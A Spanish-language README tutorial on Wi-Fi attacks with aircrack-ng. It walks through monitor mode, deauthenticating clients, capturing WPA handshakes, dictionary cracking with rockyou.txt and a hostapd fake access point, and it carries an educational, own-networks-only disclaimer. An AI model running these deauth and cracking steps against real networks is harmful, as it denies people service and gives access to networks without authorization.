└── README.md /README.md: -------------------------------------------------------------------------------- 1 | # Get off my wifi 2 | 3 | Esta es la colección de notas sobre ataques WIFI con la que me hubiera gustado encontrarme hace algunos años. Entre otras cosas, esta guía permitirá: 4 | 5 | + Banear a los usuarios no autorizados de tu red WIFI. 6 | + Ataques de diccionario a una red WIFI con aircrack-ng 7 | + Ataque a Router 8 | + Ataque a cliente a través de un Fake Access Point 9 | + Resolver los retos WIFI planteados en ctf.live 10 | 11 | **Advertencia:** Este material es meramente educativo. Y claro, debe probarse únicamente con redes que nos pertenecen. 12 | 13 | Si usted se encuentra en un ambiente gráfico es posible que pueda correr programas en paralelo desde diversos terminales. Sin embargo, si únicamente tiene una shell disponible tendrá que mirar el **Anexo 1: Comando jobs** 14 | 15 | # Comandos aircrack-ng 16 | El siguiente contenido está dividido en tres partes y nos permitirán realizar lo siguiente: 17 | + Deautenticar (Desconectar) a usuarios de la red WIFI 18 | + Pasos 1-4, 6 19 | + Generar un ataque de diccionario para obtener la contraseña WIFI 20 | + Pasos 1-7 21 | + Salir del modo monitor 22 | + Paso 8 23 | 24 | ## 1) Mostrar las intefaces de red 25 | Para interactuar con cualquier red WIFI es necesario tener una interfaz WIFI. (Esta necesariamente debe tener disponible el modo monitor). En Linux, contamos con diversos comandos para trabajar con nuestra interfaz de red. 26 | 27 | 1.- A través de airmon 28 | ``` 29 | sudo airmon-ng 30 | ``` 31 | 32 | 2.- A través de iwconfig 33 | ``` 34 | iwconfig 35 | ``` 36 | 37 | Cualquiera de las dos nos mostrará información sobre nuestras interfaces de red. La primera columna corresponderá al nombre de interfaz y la usaremos más tarde. Para este ejemplo `wlan0` 38 | 39 | ## 2) Deshabilitar cualquier proceso que pueda interferir con la captura de paquetes 40 | En ocasiones es posible que algún proceso esté utilizando nuestra interfaz de red y eso impida habilitar el modo monitor. Para evitar eso utilizamos: 41 | 42 | ``` 43 | sudo airmon-ng check kill 44 | ``` 45 | 46 | ## 3) Habilitar el modo monitor de nuestra tarjeta de red 47 | El modo monitor/promiscuo es un modo en que nuestra interfaz podrá escuchar el tráfico de red. Nuevamente, tenemos diversas formas de activar este modo. 48 | 49 | Opción airmon-ng 50 | ``` 51 | sudo airmon-ng start 52 | ``` 53 | * En nuestro caso la interfaz es `wlan0` 54 | 55 | Opción iw 56 | ``` 57 | iw dev set monitor none 58 | ``` 59 | 60 | Opción ifconfig 61 | ``` 62 | ifconfig down 63 | iw dev set monitor none 64 | ifconfig up 65 | ``` 66 | 67 | Opción ifconfig 2 68 | ``` 69 | ifconfig down 70 | iwconfig mode monitor 71 | ifconfig up 72 | ``` 73 | 74 | Si volvemos a correr el paso uno podremos ver que nuestra interfaz de red ahora se encuentra en modo monitor bajo el nombre de `wlan0mon` ó `wlan0`. Lo anterior depende del modo en que se habilitó. 75 | * Es necesario corroborar el nombre de nuestra interfaz para trabajar con ella más tarde. 76 | 77 | ## 4) Listar las redes y clientes que existen a nuestro alrederor 78 | Ahora, con ayuda de `airdump-ng` nosotros podremos observar las redes WIFI y clientes conectados a nuestro alrededor. 79 | 80 | ``` 81 | sudo airodump-ng 82 | ``` 83 | * En nuestro caso `` es `wlan0` 84 | * ¿Qué significa la información que nos arroja? Ver **"Anexo 2: Listado de redes**" 85 | 86 | Aquí es **importante** ubicar a nuestro objetivo a través de su **bssid** dependiendo de lo que queramos hacer: 87 | + Crackear la contraseña de una red WIFI 88 | + Sacar a uno o a todos los clientes WIFI de una red. 89 | 90 | Una vez obtenida la información paramos la ejecución con ``CTRL+C`` 91 | 92 | ## 5) Capturamos el tráfico de la red 93 | En el caso de que queramos obtener la contraseña de una red WIFI necesitaremos capturar el **handshake** intercambiado durante el establecimiento de la conexión entre el cliente y el router. Para esto, escucharemos todas las peticiones únicamente de nuestro objetivo (El router) y guardaremos en un archivo todo el tráfico intercambiado. 94 | 95 | Este proceso debe ejecutarse hasta obtener el handshake (Forzamos esto en el paso 6). Tenemos dos opciones: 96 | 1. Dejar esto corriendo y abrir una nueva terminal para seguir con el tutorial 97 | 2. Correr esta tarea en segundo plano. (Anexo 1). 98 | 99 | Opción 1 100 | ``` 101 | sudo airodump-ng -c 1 --bssid 36:0A:98:80:97:C3 --write nombre_de_archivo 102 | ``` 103 | Opción 2 104 | ``` 105 | sudo airodump-ng -c 1 --bssid 36:0A:98:80:97:C3 --write nombre_de_archivo & 106 | ``` 107 | + **-c** canal. En nuestro caso 1 108 | + **--bssid** bssid. En nuestro caso 36:0A:98:80:97:C3 109 | + **--write** nombre_de_archivo que guardará lo que capturamos 110 | + **interfaz** En nuestro caso wlan0 111 | 112 | ¿Qué es el **handshake**? ¿Acaso se envía la contraseña en texto claro? Ver **Anexo 3: Caputra del tráfico de red** 113 | 114 | ## 6) Ataque deauth 115 | 116 | Deauthentication Attack es un ataque que nos permite expulsar a todos o a un solo cliente de la red WIFI. 117 | Esto puede tener como objetivo: 118 | + Denegar el servicio a un solo cliente o a toda la red WIFI 119 | + Capturar el handshake que estamos buscando en el paso 5, para posteriormente hacer una ataque de fuerza bruta en busca de la clave. 120 | 121 | #### Deautenticar a todos los clientes de un WIFI 122 | 123 | ``` 124 | sudo aireplay-ng -0 10 -a 36:0A:98:80:97:C3 125 | ``` 126 | 127 | + **-0** Se utiliza para el ataque deauth 128 | + **10** Es el número de paquetes deauth para ser enviados. Si seleccionas "0" lo hará de forma infinita. 129 | + **-a** Es la dirección MAC de la red WiFi objetivo 130 | + **Interfaz** En nuestro caso wlan0 131 | 132 | #### Deautenticación a solamente un cliente de un WIFI 133 | 134 | ``` 135 | sudo aireplay-ng -0 10 -a 36:00:98:00:97:C3 -c 00:0A:FF:5F:FF:00 136 | ``` 137 | 138 | + **-0** Se utiliza para el ataque deauth 139 | + **10** Es el número de paquetes deauth para ser enviados. Si seleccionas "0" lo hará de forma infinita. 140 | + **-a** Es la dirección MAC de la red WiFi objetivo 141 | + **-c** Mac Address del cliente a deautenticar 142 | + **Interfaz** En nuestro caso wlan0 143 | 144 | Después de lanzar el ataque deauth y conseguir el HANDSHAKE WPA, pulse `CTRL+C`. Para dejar de mandar el ataque Deauth. También finalice la captura de paquetes del paso 5. 145 | + Sí, solamente es `CTRL+C` 146 | + O en caso de haber utilizado tareas en segundo plano ver el Anexo 1 147 | 148 | ## 7) Ataque de diccionario para averiguar el password WIFI 149 | Una vez que hemos obtenido nuestro handshake es tiempo de realizar un ataque de diccionario contra nuestro objetivo. 150 | 151 | ``` 152 | sudo aircrack-ng nombre_archivo_captura.cap -w rockyou.txt 153 | ``` 154 | + **nombre_archivo_captura.cap** es el que definimos en nuestro paso número 5. 155 | + **-w** Indica que se hará fuerza bruta a través de un diccionario, en nuestro caso utlizamos el diccionario `rockyou.txt` 156 | 157 | Notas: 158 | + Si nos dice que no se encuentra el archivo *.cap hay que corroborar la ubicación y nombre de nuestro archivo 159 | + Si nos dice que no se ha encontrado un handshake es posible que no se haya capturado alguno. Recuerde que: 160 | + Debe forzar la autenticación del cliente para lograr capturar el handshake 161 | + Puede volver a probar a partir del paso número 4 para tratar de solucionar el error 162 | + Para obtener más información acerca de los diccionarios vea el **Anexo 4: Ataque de diccionario para averiguar el password WIFI** 163 | 164 | ## 8) Quitar el modo monitor y volver a utilizar nuestro WIFI 165 | Una vez que hemos realizado nuestras labores querremos volver a utilizar nuestro WIFI de la forma habitual. Para esto tenemos las siguientes opciones. 166 | 167 | Opción 1 168 | 1. Detenemos el modo monitor 169 | 2. Levantamos nuestra interfaz 170 | 3. Inciamos el servicio de red 171 | 172 | ``` 173 | sudo airmon-ng stop 174 | sudo ifconfig wlan0 up 175 | sudo systemctl start NetworkManager 176 | ``` 177 | 178 | Opción 2 179 | ``` 180 | ifconfig down 181 | iwconfig mode managed 182 | ifconfig up 183 | ``` 184 | 185 | # Creación de un Fake Access Point 186 | 187 | En ciertas ocasiones (Retos CTF principalmente) es posible que nos pidan encontrar el password de una red WIFI a partir de un cliente que está buscando un punto de acceso. 188 | 189 | El escenario es el siguiente: 190 | + Al momento de listar las redes de nuestro alrededor (Paso 4), nos aparece un cliente que emite un PROBE con un nombre_de_red_wifi. El paquete PROBE básicamente es el cliente diciendo, "Hey, ¿Acaso está esta red WIFI por aquí? 191 | + Al notar esto nosotros podemos hacer un access point falso con ayuda de **hostapd** para que el cliente diga. ¡Oh, nombre_de_red_wifi, te he estado buscando! Mira, aquí te va mi Handshake 192 | + Por supuesto, como nuestro fake Access Point no será el mismo que el que el cliente tiene registrado esté se mantendrá mandando el handshake. 193 | + Entonces nosotros capturamos el tráfico de nuestro falso AP (Access Point) y posteriormente realizamos fuerza bruta al handshake capturado. 194 | + Requerimos dos tarjetas de red 195 | + 1 para realizar la captura de tráfico 196 | + 1 Para montar el Fake AP 197 | 198 | ¿Cómo hacerlo? 199 | 200 | ## A) Obtenemos nuestro cliente en busca de cierto WIFI 201 | Seguimos los pasos 1-4 de la sección **Comandos aircrack-ng** 202 | 203 | ## B) Montamos nuestro fake AP 204 | 1. Instalamos hostapd 205 | ``` 206 | sudo apt install hostapd 207 | ``` 208 | 2. Seguimos los pasos 1-3 de la sección **Comandos aircrack-ng** 209 | 3. Creamos un archivo de configuración para hostapd 210 | ``` 211 | vim hostapd.conf 212 | ``` 213 | 214 | Ingresamos el siguiente contenido 215 | 216 | ``` 217 | interface=wlan0 218 | driver=nl80211 219 | ssid=YeahHub 220 | hw_mode=g 221 | channel=11 222 | macaddr_acl=0 223 | ignore_broadcast_ssid=0 224 | auth_algs=1 225 | wpa=2 226 | wpa_passphrase=yeahhub123 227 | wpa_key_mgmt=WPA-PSK 228 | wpa_pairwise=CCMP 229 | wpa_group_rekey=86400 230 | ieee80211n=1 231 | wme_enabled=1 232 | ``` 233 | 234 | Significado: 235 | + interface = Wireless interface to host access point on i.e. wlan0. 236 | + driver = nl80211 is the new 802.11 netlink interface public header which is now replaced by cfg80211. 237 | + ssid = Name of the wireless network 238 | + hw_mode = Sets the operating mode of the interface and the allowed channels. (Generally uses a, b and g) 239 | + channel = Sets the channel for hostapd to operate on. (From 1 to 13) 240 | + macaddr_acl = Used for Mac Filtering (0 – disable, 1 – enable) 241 | + ignore_broadcast_ssid = Used to create hidden AP 242 | + auth_algs = Defines Authentication Algorithm (0 – for open, 1 – for shared) 243 | + wpa_passphrase = Contains your wireless password 244 | 245 | Para nosotros bastará con cambiar la línea de ssid con el nombre que necesitemos 246 | 247 | ## C) Lanzamos nuestro fake AP 248 | ``` 249 | hostapd hostapd.conf 250 | ``` 251 | + Donde `hostapd.conf` es el archivo que acabamos de crear 252 | + Si realizamos los pasos 1-4 de **Comandos aircrack-ng** debemos poder observar nuestra red fake 253 | 254 | ## D) Obtenemos nuestra contraseña 255 | Una vez hecho esto únicamente resta hacer los pasos 1-7 de **Comandos aircrack-ng** y con suerte obtendremos nuestra contraseña 256 | 257 | 258 | # Anexo 1: Comando jobs 259 | Algunos comandos bloquean la terminal ya que es usada como la salida estándar. Cuando trabajamos en una sola terminal esto puede ser engorroso. Para solucionar esto podemos hacer uso de los procesos en segunda plano que Linux nos brinda. Aquí mostraremos los comandos básicos, para información complementaria por favor vea la sección de **Información complementaria** 260 | 261 | ## Correra algo en segundo plano 262 | Bastará con añadir un `&` luego del comando ejecutado. 263 | 264 | ``` 265 | ping google.com & 266 | ``` 267 | Sin embargo, el comando anterior seguirá utilizando nuestra terminal como salida estándar, haciendo que toda la salida de nuestro comando ejecutado vaya a nuestra pantalla principal. 268 | 269 | Para solucionarlo podemos redireccionar la salida estándar a un archivo 270 | 271 | 272 | ``` 273 | ping google.com > salida.out & 274 | ``` 275 | + Lo anterior hace la redirección de salida estándar 276 | 277 | ``` 278 | ping google.com > salida.out 2>&1 & 279 | ``` 280 | + Lo anterior hace la redirección de salida estándar & error output 281 | 282 | ## Recuperar un proceso en segundo plano 283 | Primero usamos `jobs` para saber el número de proceso 284 | 285 | ``` 286 | jobs 287 | ``` 288 | + Esto nos devolverá el identificador del proceso con el título 289 | 290 | Posteriormente `fg %NUMBER` donde NUMBER es el número del proceso que obtuvimos de `jobs` 291 | ``` 292 | fg %1 293 | ``` 294 | 295 | ## Volver a enviar un proceso a segundo plano 296 | Primero requieres devolverlo a segundo plano. Esto se logra con `Ctrl+Z` 297 | 298 | Sin embargo al utilizar el atajo de teclado el proceso se detiene. Para reactivarlo solamente se utiliza `bg %NUMBER` y el proceso que se pondrá en marcha de nuevo. Donde NUMBER es el número que obtuvimos de el comando `jobs` 299 | 300 | ``` 301 | bg %1 302 | ``` 303 | 304 | ## Para finalizar un proceso en segundo plano 305 | Usamos `jobs` para ubicar nuestro proceso 306 | 307 | ``` 308 | jobs 309 | ``` 310 | Usamos `kill %NUMBER` donde NUMBER es el número de nuestro proceso 311 | 312 | ``` 313 | kill %1 314 | ``` 315 | 316 | ## Conclusión 317 | + `jobs` para conocer los procesos en segundo plano 318 | + `fg` te permite traer el proceso a primer plano 319 | + `bg` puedes enviar el proceso a segundo plano 320 | + `kill` para matar un proceso en segundo plano 321 | 322 | 323 | # Anexo 2: Listado de redes 324 | 325 | + **BSSID:** Mac Address de nuestro router (punto de acceso) 326 | + **PWR:** Nivel de señal 327 | + **Beacons:** Número de “paquetes anucio” o beacons enviadas por el AP. 328 | + Cada punto de acceso envia alrededor de diez beacons por segundo cuando el rate o velocidad es de 1M, (la más baja) de tal forma que se pueden recibir desde muy lejos. 329 | + **#Data:** Número de paquetes de datos capturados. 330 | + (si tiene clave WEP, equivale tambien al número de IVs), incluyendo paquetes de datos broadcast (dirigidos a todos los clientes). 331 | + **#/s:** Número de paquetes de datos capturados por segundo calculando la media de los últimos 10 segundos. 332 | + **CH:** Canal 333 | + **MB:** Velocidad máxima soportada por el AP. 334 | + Si MB = 11, es 802.11b, 335 | + Si MB = 22es 802.11b+ 336 | + Y velocidades mayores son 802.11g. 337 | + El punto (despues del 54) indica que esa red soporta un preámbulo corto o “short preamble”. 338 | + **ENC:** Algoritmo de encriptación que se usa. 339 | + OPN = no existe encriptación (abierta) 340 | + “WEP?” = WEP u otra (no se han capturado suficientes paquetes de datos para saber si es WEP o WPA/WPA2) 341 | + WEP (sin el interrogante) indica WEP estática o dinámica 342 | + WPA o WPA2 en el caso de que se use TKIP o CCMP. 343 | + **CIPHER:** Detector cipher. Puede ser CCMP, WRAP, TKIP, WEP, WEP40, o WEP104. 344 | + **AUTH:** El protocolo de autenticación usado. Puede ser: 345 | + MGT 346 | + PSK (clave precompartida) 347 | + OPN (abierta). 348 | + **ESSID** Tambien llamado “SSID” 349 | + Puede estar en blanco si la ocultación del SSID está activada en el AP. 350 | + En este caso, airodump-ng intentará averiguar el SSID analizando paquetes “probe responses” y “association requests” (son paquetes enviados desde un cliente al AP). 351 | 352 | Justo debajo 353 | 354 | + **STATION:** Dirección MAC de cada cliente asociado. 355 | + **Lost:** El número de paquetes perdidos en los últimos 10 segundos. 356 | + **Frames:** El número de paquetes de datos enviados por el cliente. 357 | + **Probes:** Los ESSIDs a los cuales ha intentado conectarse el cliente. 358 | 359 | # Anexo 3: Captura del tráfico de red 360 | ¿Qué es el **handshake**? ¿Acaso se envía la contraseña en texto claro? 361 | 362 | Las contraseñas WIFI jamás son enviadas en texto plano. En su lugar llevan a cabo un intercambio denominado **handshake**. Cuya idea es algo parecido a la llave pública y llave privada. Intercambian un mensaje cifrado y si son capaces de descifrarlo entonces se da por hecho que conocen la contraseña. 363 | 364 | Es por esa razón que un atacante no podría simplemente montar un fake AP e interceptar la contraseña que el cliente le manda. 365 | 366 | Sin embargo, es posible interceptar este **handshake** para posteriormente realizarle una ataque de diccionario. 367 | 368 | # Anexo 4: Ataque de diccionario para averiguar el password WIFI 369 | 370 | ## ¿Qué es el ataque de diccionario? 371 | Una vez obtenido el **handshake** es posible realizar una ataque de diccionario para tratar de crackear la contraseña WIFI. Ahora, un diccionario no es más que un archivo donde cada salto de línea representa una contraseña a probar. 372 | 373 | Luce algo así 374 | ``` 375 | password1 376 | password2 377 | superpassword 378 | iloveyou 379 | jajajanose 380 | passwordn 381 | ``` 382 | 383 | Y lo que hace aircrack es tratar de de hacer que los valores criptograficos coincidan entre el password probado y el **handshake** obtenido. Esto se hace en modo off-line. 384 | 385 | Una vez encontrado el resultado correcto aircrack nos mostrará nuestra contraseña. 386 | 387 | ## Inconvenientes de un ataque de diccionario 388 | El problema con los ataques de diccionario es que si la contraseña no se encuentra dentro de este diccionario simplemente no aparecerá por arte de magia. Sin embargo, como ventaja, muchas personas utilizan contraseñas comunes y por eso los ataques de diccionario son altamente efectivos. 389 | 390 | **¿Podría generar un diccionario con todas las posibles combinaciones?** 391 | > "Well yes, but actually no" 392 | 393 | Aunque teóricamente es posible, computacionalmente no lo es. Pues esto se debe a algo llamado **Permutación y Combinatoria**. Sucede algo parecido a: 394 | + Una contraseña depende de su alfabeto (Carácteres que compondrán la contraseña) 395 | + Longitud (El largo que tendrá la contraseña) 396 | + Una computadora pasaría meses e incluso años tratando de resolver cada una de las posibilidades que impongan las dos condiciones anteriores. 397 | 398 | ## ¿En dónde puedo conseguir uno de esos diccionarios? 399 | + Algunas distribuciones como Kali Linux incluyen algunos diccionarios de prueba 400 | + Puedes buscarlo en internet 401 | + Puedes realizar uno tu mismo con ayuda de un software (En algún momento publicaré el propio) 402 | 403 | ### Links de diccionarios. No están probados. Entra bajo tu propio riesgo. 404 | https://crackstation.net/crackstation-wordlist-password-cracking-dictionary.htm 405 | https://hackxcrack.net/foro/criptografia-y-esteneografia/diccionarios-para-brute-force/ 406 | 407 | 408 | # Información complementaria 409 | + the-deauthentication-attack 410 | + Forcing a device to disconnect from WiFi using a deauthentication attack 411 | + Aircrack Deauthentication 412 | + esp8266_deauther 413 | + PROCESOS EN SEGUNDO PLANO EN LINUX 414 | + Creando un Fake Access Point con hostapd --------------------------------------------------------------------------------